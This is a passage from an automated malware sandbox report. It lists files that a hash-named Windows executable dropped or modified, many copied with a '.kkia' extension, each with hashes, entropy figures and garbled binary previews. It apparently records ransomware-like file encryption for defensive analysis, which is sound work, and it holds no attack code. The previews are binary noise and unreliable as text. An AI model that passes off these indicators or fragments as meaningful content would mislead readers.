Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.727377921046756
Encrypted:	false
SSDEEP:	24:YKWd++gorwW/Dba5i9URdilaSuFKAE9xVkbD:Y7+KwW/D2+Udil/AZD
MD5:	8909B2B0107057E210DE0F4E1B4E9F31
SHA1:	C32EE32F46E1520838F60592C02B220A6C227237
SHA-256:	5B85C38FFD5F680C6ABE88BEFC4E4A0D2C28E9F6115F3746C46263611B91BF2B
SHA-512:	172AF9D80916D0B4FFF01CCA7F6BE8E90C08E1554EBD6F7E439880DCE10718E96C931CCB316E19304A9377D0DFFF2002B3DBFF1FBC5F30D1E9CF35EF0DB36FC0
Malicious:	false
Preview:	{"os_'.H.f....o..XbY..............E.=-`../;..x...9.....l.2.$..I...5.~".M1U.......35..t!.edi.<.P.......\.^.....Z%Q..T..t.~.D#x...k.p7...Q.V.....#......f.p.+{......U.+...S.....%..T.iw.3..U....,AW.....Mo.Y....Y..B..X...1.K\|.k......f?...v.... g.-...H.&....#hF.{......yC.:.Aw..%...R\|R.C.....p1TBU............'.0.xb.F.R.{b.2,..x...&.%e..= .k.`<..f......f.$~...-...AA0_+.>....J. ....Y .&..Th.xIir.d.3.Em.Z......sC.....E...j#.......! D$n.'...o..^a..r....O&wR."....'..;......T*j\..%...W.....,a.....f}W..)Jc.V..ZQ.._Y..R(.....ki..?...D..r..6.^`m.!4)1dK...?..i.g....lK.y.u..v.d.,..._l_;...r.......K.a....E,....X..............J.`....j....z.d.Y..3.O.#.{.e.b.w.......~..&T..q.:.t..r6.s...b..,.....5.X.J...'jY@...v.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.kkia (copy)

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.727377921046756
Encrypted:	false
SSDEEP:	24:YKWd++gorwW/Dba5i9URdilaSuFKAE9xVkbD:Y7+KwW/D2+Udil/AZD
MD5:	8909B2B0107057E210DE0F4E1B4E9F31
SHA1:	C32EE32F46E1520838F60592C02B220A6C227237
SHA-256:	5B85C38FFD5F680C6ABE88BEFC4E4A0D2C28E9F6115F3746C46263611B91BF2B
SHA-512:	172AF9D80916D0B4FFF01CCA7F6BE8E90C08E1554EBD6F7E439880DCE10718E96C931CCB316E19304A9377D0DFFF2002B3DBFF1FBC5F30D1E9CF35EF0DB36FC0
Malicious:	false
Preview:	{"os_'.H.f....o..XbY..............E.=-`../;..x...9.....l.2.$..I...5.~".M1U.......35..t!.edi.<.P.......\.^.....Z%Q..T..t.~.D#x...k.p7...Q.V.....#......f.p.+{......U.+...S.....%..T.iw.3..U....,AW.....Mo.Y....Y..B..X...1.K\|.k......f?...v.... g.-...H.&....#hF.{......yC.:.Aw..%...R\|R.C.....p1TBU............'.0.xb.F.R.{b.2,..x...&.%e..= .k.`<..f......f.$~...-...AA0_+.>....J. ....Y .&..Th.xIir.d.3.Em.Z......sC.....E...j#.......! D$n.'...o..^a..r....O&wR."....'..;......T*j\..%...W.....,a.....f}W..)Jc.V..ZQ.._Y..R(.....ki..?...D..r..6.^`m.!4)1dK...?..i.g....lK.y.u..v.d.,..._l_;...r.......K.a....E,....X..............J.`....j....z.d.Y..3.O.#.{.e.b.w.......~..&T..q.:.t..r6.s...b..,.....5.X.J...'jY@...v.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.945948356677268
Encrypted:	false
SSDEEP:	48:Wgz1fqylDh80ZhEoT4hasb7StW0AP3eSOBR5eMnh+hDL1+82aU5zvGRDVO9U0nV0:WnylK5y3SU9QQ1Fv8sC0nLW
MD5:	467FCBB34BCE0F367A3B9F8BFE3EBAF6
SHA1:	409BDF23F5F78A6AC258E55FA71C1EBE2D0B23B9
SHA-256:	52DBCB0D3C3CC35B3DA4B8FB2C651902D4E90A282A70F5158B135951C4B4F0D9
SHA-512:	47B45894035D80AF042FD3970EFB8AD294132AABE4AA0A663F4A0A08337EC8D8613704E9B74A0C37F9EC2345133F076CA72FA64D73AE8385FFA017DE6A2141F2
Malicious:	false
Preview:	...#g%8V..E.......q./!P...MM."Q.s.8...A.?Y..[;.L.zY......x..r..}TH.W.....f..,.fl.t;.....8..y...[...)..........G .L.........`.C.....ed.+......1.............G\..z............wgU..WF...U"V..N~;j..V`.R.{..."..o....@,..kA....o...O.F.o.y...[..Y.@F......C#h..I....N..qF......wiY.%.xIgHzD.b1;.p...>\.Dq..{..o..D xG........O,.,8..^....!V..\|...<.L\|.D.1.Z....<.w;.qQ.hM4q...2%F4.E.A.....`K...2iJ5.4+<...Ld..W.g8..5.h.J.....c.Qde..8..M./O.,......&..4.3..Q.I...........0....i.!. ....'. .~'_.>C.-.....w}....!..BCF/..h.+.^V.1..3.#./..f\|:qr..%....<.O+..^d$.1..I.Jg.s'.K..T.3..b.x;q...+zw..Cd..^...\...?.l".p......-C.i...!...:.O..l......fb.l.....g)O......2.r..1.ha[.........No..v...E..)d.../.Q.......u....+.7F.`.BIB-...I..F..K.......9.... B.....PS..\T..#..1..a%D.....}2.P.%..n.bZm.....=V.....7.:..k.T.......+=..p.kC.N..om.....6.X.t.+....w"..;&aT..v0...'i.,P%.......!.n.g..4...1..WE]47'`...Pb..y.^.]'2..5{...)r.&e`H.fX..Oz..Q..;F0....o.c.......d"..&.:+....\|.W.....

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.kkia (copy)

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.945948356677268
Encrypted:	false
SSDEEP:	48:Wgz1fqylDh80ZhEoT4hasb7StW0AP3eSOBR5eMnh+hDL1+82aU5zvGRDVO9U0nV0:WnylK5y3SU9QQ1Fv8sC0nLW
MD5:	467FCBB34BCE0F367A3B9F8BFE3EBAF6
SHA1:	409BDF23F5F78A6AC258E55FA71C1EBE2D0B23B9
SHA-256:	52DBCB0D3C3CC35B3DA4B8FB2C651902D4E90A282A70F5158B135951C4B4F0D9
SHA-512:	47B45894035D80AF042FD3970EFB8AD294132AABE4AA0A663F4A0A08337EC8D8613704E9B74A0C37F9EC2345133F076CA72FA64D73AE8385FFA017DE6A2141F2
Malicious:	false
Preview:	...#g%8V..E.......q./!P...MM."Q.s.8...A.?Y..[;.L.zY......x..r..}TH.W.....f..,.fl.t;.....8..y...[...)..........G .L.........`.C.....ed.+......1.............G\..z............wgU..WF...U"V..N~;j..V`.R.{..."..o....@,..kA....o...O.F.o.y...[..Y.@F......C#h..I....N..qF......wiY.%.xIgHzD.b1;.p...>\.Dq..{..o..D xG........O,.,8..^....!V..\|...<.L\|.D.1.Z....<.w;.qQ.hM4q...2%F4.E.A.....`K...2iJ5.4+<...Ld..W.g8..5.h.J.....c.Qde..8..M./O.,......&..4.3..Q.I...........0....i.!. ....'. .~'_.>C.-.....w}....!..BCF/..h.+.^V.1..3.#./..f\|:qr..%....<.O+..^d$.1..I.Jg.s'.K..T.3..b.x;q...+zw..Cd..^...\...?.l".p......-C.i...!...:.O..l......fb.l.....g)O......2.r..1.ha[.........No..v...E..)d.../.Q.......u....+.7F.`.BIB-...I..F..K.......9.... B.....PS..\T..#..1..a%D.....}2.P.%..n.bZm.....=V.....7.:..k.T.......+=..p.kC.N..om.....6.X.t.+....w"..;&aT..v0...'i.,P%.......!.n.g..4...1..WE]47'`...Pb..y.^.]'2..5{...)r.&e`H.fX..Oz..Q..;F0....o.c.......d"..&.:+....\|.W.....

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.619182118681993
Encrypted:	false
SSDEEP:	12:kC+ztf38/iHnG8D8IaWdYhC/32VIm9osPDVZzDEyahVTVqf2Ll8zPrgcii9a:z+jG8UhKmKW0yahXl87kbD
MD5:	0A2E8444703796FF1E0119ECF712A5E3
SHA1:	BA334C4A0836CA76827517FAFDD64651BB75C779
SHA-256:	41AD8A24CA14A152B7F310B54ED4FC048DCA1439724543D5313A958AAA25A75D
SHA-512:	AF96F1E229E0EF705FD1DB19FE5C02E20C8A8CEAD92A304A976F8213D9145CBCECC467317D397F03F7441047F3CFA0A9CAC0A3A4EA6804735C2DE564336F72F7
Malicious:	false
Preview:	2023//Z)....C..pX.....J....s..b9.......'...Ik............E...,.e..c..i...4..<//bp.\.t.._n...<djdu.A.....k.y.."..e...z..,[......[..._^..:.5.OI .....W.6;0.,z..{..m..iym.d.S...W...j.. X..R..,..24O..W.y6.Zo{.W.Q..G..L.f.+...Z...-.....0....`}m........?.......^?Q.q..-ad....j.%m....N...Q.\..q$...T.,m.2'...>.75.......:o.*C....F.A.K.......4.}..! D..)v.Uv.L.....j.#}....y..g.,....]v..:.@.P......#d.m..0<....77R.qj..&.....\|....~ W>.5.O.Wx&{H.G6....e..7b.<....L..9n.U.~'.`.....U2..'5?....+P;.....2.$Z.. ...RUb..N2...6/..H...M.Hi:..cTd.iour..J..\|Y:0...-....2..f...!dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.kkia (copy)

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	656
Entropy (8bit):	7.619182118681993
Encrypted:	false
SSDEEP:	12:kC+ztf38/iHnG8D8IaWdYhC/32VIm9osPDVZzDEyahVTVqf2Ll8zPrgcii9a:z+jG8UhKmKW0yahXl87kbD
MD5:	0A2E8444703796FF1E0119ECF712A5E3
SHA1:	BA334C4A0836CA76827517FAFDD64651BB75C779
SHA-256:	41AD8A24CA14A152B7F310B54ED4FC048DCA1439724543D5313A958AAA25A75D
SHA-512:	AF96F1E229E0EF705FD1DB19FE5C02E20C8A8CEAD92A304A976F8213D9145CBCECC467317D397F03F7441047F3CFA0A9CAC0A3A4EA6804735C2DE564336F72F7
Malicious:	false
Preview:	2023//Z)....C..pX.....J....s..b9.......'...Ik............E...,.e..c..i...4..<//bp.\.t.._n...<djdu.A.....k.y.."..e...z..,[......[..._^..:.5.OI .....W.6;0.,z..{..m..iym.d.S...W...j.. X..R..,..24O..W.y6.Zo{.W.Q..G..L.f.+...Z...-.....0....`}m........?.......^?Q.q..-ad....j.%m....N...Q.\..q$...T.,m.2'...>.75.......:o.*C....F.A.K.......4.}..! D..)v.Uv.L.....j.#}....y..g.,....]v..:.@.P......#d.m..0<....77R.qj..&.....\|....~ W>.5.O.Wx&{H.G6....e..7b.<....L..9n.U.~'.`.....U2..'5?....+P;.....2.$Z.. ...RUb..N2...6/..H...M.Hi:..cTd.iour..J..\|Y:0...-....2..f...!dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.3979897833924735
Encrypted:	false
SSDEEP:	12:yG8xIzIXMu+mhfQDQ7SUqH5V9O1/tFPrgcii9a:uxI2MQlu79a/t5kbD
MD5:	F6E6287B39D82A411B5F4D6DE6E2DA41
SHA1:	DB2666C07C21F08DA27ACACFB8AA726B1414E78B
SHA-256:	BD716523301BE6A3F996343F286EEFDDA7728FB91260B040CA7909686FE9974C
SHA-512:	9BDAD01462AE0017F23EB93DA681BC158375B9616D028B0AE73FBA3BF69590D089E13D41738A3C6C5C524F282489E65EA6174BE0F627F4A1DD7C620C37F358AC
Malicious:	false
Preview:	S.../...p}.<%....h..}.&..\|...6..J.}...E......(....I.A.W..t....P....2...c......Oo..qZ.......}...7.I....Y....@#.dI.L....5.oR^~..........:..O.p.s"..w(.P.uI........&rCI...'...=.{z...$Ii_.i..SN.DeP....Pi.U.....R.:P....gA.)._..l?.):..F..4..GM..]r,'."LBE.'77..XG...y.....I.;..?. ... ...dB..Z...N..4(.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.kkia (copy)

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.3979897833924735
Encrypted:	false
SSDEEP:	12:yG8xIzIXMu+mhfQDQ7SUqH5V9O1/tFPrgcii9a:uxI2MQlu79a/t5kbD
MD5:	F6E6287B39D82A411B5F4D6DE6E2DA41
SHA1:	DB2666C07C21F08DA27ACACFB8AA726B1414E78B
SHA-256:	BD716523301BE6A3F996343F286EEFDDA7728FB91260B040CA7909686FE9974C
SHA-512:	9BDAD01462AE0017F23EB93DA681BC158375B9616D028B0AE73FBA3BF69590D089E13D41738A3C6C5C524F282489E65EA6174BE0F627F4A1DD7C620C37F358AC
Malicious:	false
Preview:	S.../...p}.<%....h..}.&..\|...6..J.}...E......(....I.A.W..t....P....2...c......Oo..qZ.......}...7.I....Y....@#.dI.L....5.oR^~..........:..O.p.s"..w(.P.uI........&rCI...'...=.{z...$Ii_.i..SN.DeP....Pi.U.....R.:P....gA.)._..l?.):..F..4..GM..]r,'."LBE.'77..XG...y.....I.;..?. ... ...dB..Z...N..4(.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	modified
Size (bytes):	460
Entropy (8bit):	7.495529842927814
Encrypted:	false
SSDEEP:	12:GZmpXtE9jbADoXQJKWXABs6Zrfq0jEnxsfPrgcii9a:GsdtEVAkX+wBs6lfqUExsHkbD
MD5:	450858CCB8C04ADA0D42346A70B4F726
SHA1:	F4E88E3FC36AA667284FFE096609997B4F1B7694
SHA-256:	9EADE6F06FAC1EBEF17F47EE148730984E53E1DE7532448EBF63FD34A578B1D8
SHA-512:	AF7D10F9EAB7F9194E7F0B159A21C218DBEA19EBC627C529D45479B72588DFE22419BFC8DFB2E4385A7F561413F61522E4F02EA2366682350AEE153642A17014
Malicious:	false
Preview:	.h.6..Xt../......j...ub....;5.F..,..g....4..2.OJ5t..X}<0..l_;.s.....'/N..KLu..&tu.Hm8.=.....\|......p.Pt.m.Ox..........!.M.GU...G.pdx..U.yi.Y...(......k.-....O.......".>Y.[....Dt{...y.Y.J....b..>..&.V.A.Q.<n";......._r..@.........ZY.eC..w..^..OG.6..3p.c.4..s.!0 .HC/.$..........p*....i.X.....D..[...0.Wa.`...~7H.)....uG5t...v..Jz..r...:.....#....u/...K..k...CdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.kkia (copy)

Download File

Process:	C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.495529842927814
Encrypted:	false
SSDEEP:	12:GZmpXtE9jbADoXQJKWXABs6Zrfq0jEnxsfPrgcii9a:GsdtEVAkX+wBs6lfqUExsHkbD
MD5:	450858CCB8C04ADA0D42346A70B4F726
SHA1:	F4E88E3FC36AA667284FFE096609997B4F1B7694
SHA-256:	9EADE6F06FAC1EBEF17F47EE148730984E53E1DE7532448EBF63FD34A578B1D8
SHA-512:	AF7D10F9EAB7F9194E7F0B159A21C218DBEA19EBC627C529D45479B72588DFE22419BFC8DFB2E4385A7F561413F61522E4F02EA2366682350AEE153642A17014
Malicious:	false
Preview:	.h.6..Xt../......j...ub....;5.F..,..g....4..2.OJ5t..X}<0..l_;.s.....'/N..KLu..&tu.Hm8.=.....\|......p.Pt.m.Ox..........!.M.GU...G.pdx..U.yi.Y...(......k.-....O.......".>Y.[....Dt{...y.Y.J....b..>..&.V.A.Q.<n";......._r..@.........ZY.eC..w..^..OG.6..3p.c.4..s.!0 .HC/.$..........p*....i.X.....D..[...0.Wa.`...~7H.)....uG5t...v..Jz..r...:.....#....u/...K..k...CdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\.curlrc

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.299445799982772
Encrypted:	false
SSDEEP:	6:KWr/gjUU133ziJ9NchiKEtH8R99mQqBdPRmvDsmkV0mQaTLN4+Pebugcii96Z:NEd36T23EtomVPRRTVBQaPC+Prgcii9a
MD5:	3E06B75E5F9DADFB20BEFA213893AD82
SHA1:	C592A295D7DEF40F263F22FBC1C4F12BCD8A8B7F
SHA-256:	EDF702A7FD0F0FF75A7FB4C8E7A66A922E516A39B7C1BB1A92009B4390A30C8E
SHA-512:	50A8E34D77739327C3B043A592E06A4DE734BC939FC36808AE354D7158B76A5109F56BEF1EE145C1B9A1E62955152ED05A1CBABA90CDD2AB0F971243B9430BA4
Malicious:	false
Preview:	insec..3ZK.*...;.X'2+....%K.&.M..\.~h==!.....ZDmd.w....#..A...T:......a..o./N...!Mq......6...G.....Y..!a.(.......z..a....\|...$...\|..R...B.?...[b...+.. 7ZF....C_vj7......w.:'d.9..w.Vw)...(xL._....6.W5.!4.?T.\..f../....;F.$....0.....<..:e..?.s/..E..q.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	812032
Entropy (8bit):	7.764755910023494
Encrypted:	false
SSDEEP:	12288:OzVNuPCj1HtSovtzuIL46X8qWyt/q5BxLi1AigQWtTmBeo/bpOGfSb7NUuDanPU:ra5NRf4u8qWy4pn1lceobpbfS9Ueans
MD5:	A462CC4BBCFC709D15C578F9EAA6C09F
SHA1:	2F541D1D12D46B5E7FFC344D350FFB2ACDC9C539
SHA-256:	A77599BEA195B9F858CE2D25943DA1EB6552CEB843EC8AF67A41EF2C7E17E7DB
SHA-512:	917C5406B7630E47BD6946033F68E82E25A91B7441BF71A0BA9ED79290B6EEDF8560BB17F512FA56324BCD01F9367FB6059D619BB979C717BBCACDBFD8DE5DB5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..=.d.n.d.n.d.n.6Kn.d.n.6]nod.n'..n.d.n.d.n.d.n.6Zn6d.n.6Jn.d.n.6On.d.nRich.d.n........PE..L...`Xs_.....................................`....@.......................... ...............................................O..<....0...............................................................}..@............................................text....N.......P.................. ..`.data........`...2...T..............@....rsrc........0......................@..@s.`X.uj..P.......B...".............. ...........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.877874846417318
Encrypted:	false
SSDEEP:	48:P8ws2aXADX8F8PC2UY/87cnLFoOEgvJpAoHFqFHJ/6b5vYED:koGADX8Fyx87aF9OolgJ/6xYQ
MD5:	4915DA39C7C4891E6EDE65114056C7F0
SHA1:	D8D47F47B90D4AA41645790BAB84D9BD81F7F7B3
SHA-256:	874D8AFF9C0DDC94D3186C9B7F07576F2E5E7B8480AD7AE91F56001D645BB964
SHA-512:	E969BF75895B8C2AE8F281449AEB5F63FF046AB42766517D262CB28D5A586095E8697744CB6786FB1D2AD2B6DBB78DCAD180D6532A5D9E88A5C75BC47411528E
Malicious:	false
Preview:	%!Ado....fK..../.Rq?#O..k.u.....f@.(.`8....X....Y...(.OX..F60$.nR......}.}G..S8......E$...[.D...Z.:.c=zu..a..6;.......)..r....89..b..0.7.2.'..h.>g..WP...!.f2wfF.K..fg!.1.v..Y..{&%.+c/&(K.v0.q......4..&..^Y.l.s.?.0..;....Vk......)t........}.+#o....R.-=....S...'..N8.....q............l].P.49.F.z...)..\|.<.x. iH.[..n.my}..%[.RG.f.f.:...]..K.a...\..15.Q[kh+.+..\G..a..i.\.z.(...x....B2.\|l+....[y...SY.T.yMBug..,Xs.J.S}..L....uN...,..l..A..^.GE..Gt...g;..O"......J.%X.......^.:K.!.SZ.M9.e&D'.....7.....rm..l..).....T.{D.i..ph........`.`......V.Yb.4...8..}.2.k.F..2>.&...=..n..-..o...q.R...!.y....@...<7.G.\|_h.PR.....KcE}..hT.GH..J)..]..Y~.D..Z...,K...A^.y-F.~..R.:(aI[.q..Z.p.l....'..GE..+F.\|.9...2.;`./.@..45R.gz..AC...3..P.@....!.s...u).~.%.W)bx.....v`gX...lXr.A..I.:`.j....dh.>..L.h..~[M../M.1w.E_..\v..t+...LC.~..e..+.3..XR..S..8.Z.K..(.[D....=i9...}=....w(4'EN..f..M...S..7.Ucx....V.}.d.p..n..VbA>Y.......4r&."..[...M...q..[..0.Y....t}.XT

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.8785448539949785
Encrypted:	false
SSDEEP:	3072:G94HZQqLGFrGacMWRMOK9+/CqVvVro8Ik0CQ7YUTDP16o/XE07ZmandGCyN2mM7P:G9prLWRzqsU8heJT71x/XE07ZmandGCl
MD5:	F7103DD779209E93C55EEA4A43A7BCE4
SHA1:	279F58BF12CEEF536BBD506C6080913A7AC1AB65
SHA-256:	AE4B2E0259FA4B2ECD0CE94EEC035CA5E39590FCD7A95DBD28718281529C33EA
SHA-512:	40392D43C4545954C45D50A4F6B42EE7B17A3E41F20CF19E1606694088E1DF703B1031190B38F2123E1A7B7F2AFBCDF1C62BB29C2F63B2898A9AA1D25ED713EE
Malicious:	false
Preview:	%!AdopF<.[B.g......t.n..#/.;........^......6..........sM.6H.O.Mv.............f$.........L.q...]h!.(.\|U..!7........a^.`S.U(U..x#N...D.z.....k..`zf..).r.....D^..,umy.X...I.y.v......8~[.......{Kb.^...K$.e.~7.C.....(.'..6.h.....!LWH....f^=?/.vh..\(t..BO#QP>>.....7....l.....V.[..u...S&m..,..T.4...B.nWM.y....jT..M..&....I\.....&...D]..K....!......hI'2R..-g....e..\|.N.\#...'..4..P.h....c...wQ......}2...O}....Z.-^....KC...........@.....O.[.'.......Q.'..>..;..YQ...Z.&...,.Aa..@..Zz:...$.:...^;'..R..MZ.I..m.....;....v.v..w..c=^&tE..L..^...8.@nuR...I=$...L. .mO...vl..{....@{..40^..........o.(..}.3j.?E}6..>&....T.X......8.,..Y.2G...b>.m...(q....Y.F..}.._. -+..,....j_.....OQo1..=.l...U..-....x.#.&.:.OU..-.V.26.....-.]...=...u0...Z.....b....C..kC,z.Z.p~'.B.?.V.2e1...L\JF6...Ek.}....`.M1.R....F....)..:....g......!.....~.g?..0.-.b..u..4AL .$e=W..4D.LE\..W.`..R..J!>}g......+.\1.~2...5u}.....K.(.V..c.i8..7..pCYm..c...i....F.4....g.&.).....g..d..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	11214
Entropy (8bit):	7.98303158626364
Encrypted:	false
SSDEEP:	192:GzlyCDEWVp4zehQx4HWhEseY/h7ll0nlCIeimI8L8Ynh2mGBncOKB:GIUEA4zeycts55lylzedIinUmGBncOKB
MD5:	97EA67036B1B946569FA977CB9A1A4EB
SHA1:	6C3786DBDCD4A382AC750A5BAF144EDE78B14BE8
SHA-256:	D7AF67071FC117334282983893D21B89C42FB3A29279D7F40193EE3FF2A9BDCA
SHA-512:	9CB48D7BE6982B82ED8C4E6BA892A2D4B5A747A3F134281B15EBEDB9C63E558A3F2F9A92B853D453FAD00B5675E37DD6DFE4B4ABD1BF14860DDD430E5AC3C196
Malicious:	false
Preview:	%!Adoy.>.\|.E..Y@.CAi&.......6U.......a7.we,....E....pQ...[..8G.{~..2.o{.\|....{Z~..kR..m.>&..<.t4.........(..u+.......-..&..).x..).....s.&;p.Q.'H.z......5L. .............7..=.....v...5..E%8.....c.Lg.. .zH.S.u....t...Ex.B_vm1CH.......).D..3.....+...)z1...]V...G.X\|r~)..Hp.......+zO./7k....U>...n..1.\|.4]../.....;.P.........a.2.?.$.)...l_N...yPe"..3AD.N...2d.j.v.p..]+Q....En.....&`y.....8.._.s.....v.=.gJ..0..C.I...M.s.#i....y...M2.e.}..wZov...h.N^.\......H.%...fX..29.,.(..z._7....._K..TH9 .....xm....J@aF...Mf..&76...Xm._..<.43..lP..T?L....<..o.1lB\p2>j..>t...3[..6.e.b.,.1.*.......r....z...5h....1......@R+..g}...\...9..-..@..5.7S....%..~.Y.Z....F...g..4..Od...?....Y..J.j...2z..c%..g.;lS...a..o.]..4.gl.A....6.t)..1j.....O....4%..@"H_M.Ly..VV.&.........\|...k'....dY.C.].3)Y....?.........f..;..>.!zUf0..\.r....-)...>.....T..\|....=..[...!.;..Q...=..h.Q...M.A...bM.H.%Ht..sq .9.#~...".UD......Q..".C.z.Ao..]...........:s`}..I.3.0/).......G.n..+UH

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.985076471880197
Encrypted:	false
SSDEEP:	3072:9I17YQl3Vpf7j3G22Vy1vlWE031kD2mf5vDnf6PL7ZwmThquzOs7SUTOoWiRnm:qlzl33j3GK1t0lK9j6OmNpPnm
